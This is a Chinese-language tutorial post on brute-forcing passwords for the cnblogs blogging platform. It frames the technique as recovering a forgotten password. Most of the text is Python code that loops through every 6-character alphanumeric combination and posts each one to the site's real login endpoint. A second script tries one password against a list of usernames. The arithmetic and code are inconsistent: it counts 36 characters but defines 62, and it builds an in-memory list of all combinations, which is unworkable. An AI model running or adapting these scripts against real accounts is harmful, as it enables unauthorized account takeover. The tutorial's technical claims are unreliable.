Python3 实现暴力穷举博客园密码
简介
博客园是一个类似于Wordpress的博客平台,其密码由数字与字母组成,不易记住。为了避免忘记密码或是密码泄漏所带来的危害,我们可以使用python3实现博客园密码的暴力破解。
破解原理
暴力破解的原理就是穷举所有可能的密码,并尝试登录。在博客园中,密码是由6位数字与字母组成,总共有36^6=2176782336中可能。我们可以使用python循环来实现所有组合情况,并利用博客园的API接口进行登录尝试。
破解步骤
- 导入必要的库
我们需要用到requests
库来实现与博客园API的交互,以及itertools
库用于生成密码组合。
import requests
import itertools
- 定义用户名和API接口地址
我们需要在这里定义需要破解的用户名以及博客园的API地址。可以通过浏览器登录博客园,进入登录页面并按F12打开开发者工具,选择"网络"标签页,再输入错误的密码并点击登录按钮,即可在请求列表中找到登录请求的API地址。
# 需要破解的用户名
username = 'your_username'
# 博客园API接口地址
api_url = 'https://passport.cnblogs.com/user/signin'
- 生成密码组合列表
我们需要使用itertools.product
函数来生成密码组合的列表,其中需要注意的一点是密码中字符的顺序。在博客园中,密码是数字和字母组成的,而字母有大小写之分。我们需要将数字排在前面,或者将所有的字符进行字典序排序,然后再进行组合。
# 定义所有可能出现的字符
characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 生成密码组合列表
password_combs = list(itertools.product(characters, repeat=6))
- 循环尝试密码并登录
我们需要循环遍历所有密码组合,并通过requests
库向博客园API发送POST请求,尝试进行登录。需要注意的一点是在requests.post方法中需要传递的payload数据是字典格式。
# 循环遍历所有密码组合
for password_comb in password_combs:
# 将密码组合转化为字符串
password = ''.join(password_comb)
# 将密码作为payload,向API发送POST请求并尝试登录
payload = {'input1': username, 'input2': password,'remember': True}
response = requests.post(api_url, data=payload)
# 判断是否登录成功,如果成功则停止循环并输出结果
if response.url == 'https://www.cnblogs.com/':
print('登录成功,密码为:', password)
break
- 完整代码示例
import requests
import itertools
# 需要破解的用户名
username = 'your_username'
# 博客园API接口地址
api_url = 'https://passport.cnblogs.com/user/signin'
# 定义所有可能出现的字符
characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 生成密码组合列表
password_combs = list(itertools.product(characters, repeat=6))
# 循环遍历所有密码组合
for password_comb in password_combs:
# 将密码组合转化为字符串
password = ''.join(password_comb)
# 将密码作为payload,向API发送POST请求并尝试登录
payload = {'input1': username, 'input2': password,'remember': True}
response = requests.post(api_url, data=payload)
# 判断是否登录成功,如果成功则停止循环并输出结果
if response.url == 'https://www.cnblogs.com/':
print('登录成功,密码为:', password)
break
示例说明
以下是两个例子,分别说明了已知密码的情况和未知密码的情况:
已知密码
假设我们已经知道博客园密码是"123456",但是忘记了用户名。我们可以使用以下代码进行尝试登录:
import requests
# 博客园API接口地址
api_url = 'https://passport.cnblogs.com/user/signin'
# 定义用户名列表
usernames = ['username1', 'username2', 'username3']
# 定义密码
password = '123456'
# 循环遍历所有用户名
for username in usernames:
# 将用户名和密码作为payload,向API发送POST请求并尝试登录
payload = {'input1': username, 'input2': password,'remember': True}
response = requests.post(api_url, data=payload)
# 判断是否登录成功,如果成功则停止循环并输出结果
if response.url == 'https://www.cnblogs.com/':
print('登录成功,用户名为:', username)
break
未知密码
假设我们不知道博客园的密码,但是已知用户名为"your_username"。我们可以使用本文开头的暴力穷举法进行尝试:
import requests
import itertools
# 需要破解的用户名
username = 'your_username'
# 博客园API接口地址
api_url = 'https://passport.cnblogs.com/user/signin'
# 定义所有可能出现的字符
characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 生成密码组合列表
password_combs = list(itertools.product(characters, repeat=6))
# 循环遍历所有密码组合
for password_comb in password_combs:
# 将密码组合转化为字符串
password = ''.join(password_comb)
# 将密码作为payload,向API发送POST请求并尝试登录
payload = {'input1': username, 'input2': password,'remember': True}
response = requests.post(api_url, data=payload)
# 判断是否登录成功,如果成功则停止循环并输出结果
if response.url == 'https://www.cnblogs.com/':
print('登录成功,密码为:', password)
break
注意:博客园为了防止暴力破解,有密码错误次数限制。如果尝试多次都未成功登录,请稍后再试。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:python3实现暴力穷举博客园密码 - Python技术站